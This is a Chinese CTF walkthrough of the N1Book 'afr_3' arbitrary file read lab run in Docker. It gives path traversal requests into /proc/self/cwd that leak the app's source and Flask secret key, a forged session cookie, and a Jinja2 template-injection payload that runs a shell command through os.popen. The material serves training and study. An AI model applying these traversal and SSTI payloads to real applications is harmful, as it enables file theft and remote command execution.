1.1漏洞描述
漏洞名称 | 任意文件读取漏洞 afr_3 |
漏洞类型 | 文件读取/包含 |
漏洞等级 | ⭐⭐⭐⭐⭐ |
漏洞环境 | docker |
攻击方式 |
1.2漏洞等级
高危
1.3影响版本
暂无
1.4漏洞复现
1.4.1.基础环境
靶场 | docker |
工具 | BurpSuite |
1.4.2.环境搭建
1.创建docker-compose.yml文件
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
2.将该代码写入文件
启动方式
docker-compose up -d
flag
n1book{afr_1_solved}
关闭
sudo docker-compose down
3.访问kali 5000端口
搭建成功
1.5深度利用
1.5.1靶机攻略
1.查看源码
没有发现有用东西
2.扫描目录
根据引导进入article,熟悉的参数出来了,name=aiticle
3.尝试查看etc/passwd
查看flag
失败了
尝试使用php://fileter 读取
?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]
也失败了。
看了大神的讲解,我觉得应该能想到,因为现在的信息就是已经可以正常包含/etc/目录下的文件(passwd),那么/proc/目录下的也应该能包含
/proc/
里面含有很多的进程信息,比如/proc/3333,就是进程ID为3333的信息/proc/self/
这个就很魔幻了,因为进程ID是一直变得,我这里如果填了article=/proc/self/......,那么就是article相关的进程,也就是说这个self是谁用就是谁cmdline
启动当前进程的完成命令
cwd
当前进程的工作目录
访问,发现pythonserver.py,这里应该不是pythonserver.py文件,因为cmdline是启动当前进程的完成命令,那执行的命令应该是python server.py
article?name=../../../../../../proc/self/cmdline
4.通过cwd读取server.py
article?name=../../../../../proc/self/cwd/server.py
拿到server.py的源码
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')#execfile() 函数可以用来执行一个文件。
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])
def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])
def article(): error = 0
if 'name' in request.args:
page = request.args.get('name') else:
page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
代码中出现了,flag.py和key.py,分别包含一下这俩,在key.py中发现了一段关于key的代码
/article?name=../../../../../proc/self/cwd/flag.py
/article?name=../../../../../proc/self/cwd/key.py
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造flask的session,秘钥为Drmhze6EPcv0fN_81Bj-nA
下载脚本
git clone https://github.com/noraj/flask-session-cookie-manager
使用脚本编译
sudo python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
拿到伪造flask的session
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZVTSxw.EZGsAPNdMs8G5kxefOpGvPQMXoM
5.使用BP,访问首页抓包
修改session值为刚刚得到的
拿到flag
flag = ‘n1book{afr_3_solved}’;
1.6漏洞挖掘
1.6.1指纹信息
1.7修复建议
-
升级
-
打补丁
-
上设备